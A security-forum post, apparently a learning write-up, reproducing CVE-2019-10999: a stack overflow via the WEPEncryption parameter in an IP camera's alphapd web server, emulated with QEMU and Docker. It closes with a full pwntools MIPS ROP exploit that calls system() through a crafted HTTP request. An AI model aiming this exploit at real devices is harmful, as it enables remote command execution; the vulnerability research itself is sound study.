12

[原创]CVE-2019-10999复现学习

 2 years ago
source link: https://bbs.pediy.com/thread-271170.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

[原创]CVE-2019-10999复现学习-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com

[原创]CVE-2019-10999复现学习
2022-1-15 14:15 9461

https://github.com/yywz1999/docker-qemu-system

下载好后按照readme安装,连接ssh上去。

然后去打包固件

tar -zcvf cpio.tar.gz cpio-root

上传到docker

切换到root权限

mount -o bind /dev/ ./dev/
mount -t proc /proc/ ./proc

chroot . ./bin/sh进入sh。

./etc_ro/rcS中找到了internet.sh文件。查找这个文件它位于: ./sbin/internet.sh

在这个文件中又看到了一个 [lan.sh](http://lan.sh) 【./sbin/lan.sh】文件。

继续查看:

发现了关于web启动的相关信息。

确定了这个固件启动web服务的程序为: alphapd

killall -q alphapd
sleep 1
alphapd &

无法打开pid file,创建一个

创建nvramd.pid

./gdbserver-mipsel :23946 ./bin/alphapd

调试查看v4的值

可以发现这里是通过 gpio 接口来获取IP的。但是我们是仿真的,并没有这个接口。所以我们直接去Patch。

patch后运行。

关闭aslr:echo 0 > /proc/sys/kernel/randomize_va_space
./gdbserver-mipsel :23946 --attach alphapdPID

在gdb-multiarch中

set arch mips
set endian little
target remote 192.168.50.214:40496

通过对程序分析,寻找敏感函数,最终找到了一个 strcpy 用户可控的输入位置

可以看到这里的 v11 只有四个字节。 v8 是由 v10 赋值,而他是从 WEPEncryption 获取的。而且并没有长度检查。

交叉引用找到调用点

找到了 formDefineWireless 函数

在web页面中找到了相似关键字

于是测试发包

程序crash,并且控制了PC寄存器。

于是我们开始测试溢出长度

> cyclic -l 0x6161616b
40

下面我们就可以来寻找gadget打这个溢出。

Libc基地址

0x77eda000

想要打出system的话,我们这里就需要来控制 a0 寄存器作为函数调用的参数。

这是找到的gadget

.text:0004A604                 addiu   $s2, $sp, 0x1E8+var_F8
.text:0004A608                 move    $a0, $s2
.text:0004A60C                 move    $t9, $s0
.text:0004A610                 jalr    $t9 ; sub_49DF0

栈中地址存到 s2 寄存器中,然后 s0 寄存器存入 t9 然后调用函数。

所以我们的exp就可以写了

import socket
from pwn import *
context.log_level = 'debug'
context.arch = "mips"
Libc_Addr = 0x77eda000
system_Addr = 0x0045080
cmd = "echo${IFS}'Pwn!'"
gadget = 0x004A608
payload = cyclic(16).upper()
payload += p32(Libc_Addr+system_Addr) # S0
# p -> 0x77F24604
payload += 'BBBB' # S1
payload += p32(0x7fffe2a8) # S2
payload += 'DDDD' # S3
payload += 'EEEE'
payload += 'FFFF'
payload += p32(Libc_Addr+gadget) # PC
payload += 'HHHH'
payload += cmd
if __name__ == '__main__':
#key = "Content-Type:text/html;charset:utf-8\r\n"
RHOST = '127.0.0.1'
RPORT = 40080
request = ""
request+= "GET /wireless.htm?WEPEncryption={} HTTP/1.1\r\n".format(payload)
request+= "Host: {}:{}\r\n".format(RHOST,str(RPORT))
request+= "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0"
request+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
request+= "Accept-Language: en-US,en;q=0.5"
request+= "Accept-Encoding: gzip, deflate"
request+= "Connection: close"
request+= "Upgrade-Insecure-Requests: 1"
request+= "\r\n\r\n"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send(request)
print(request)
# msg = s.recv(1024)
s.close()
# print msg

【公告】看雪团队招聘安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK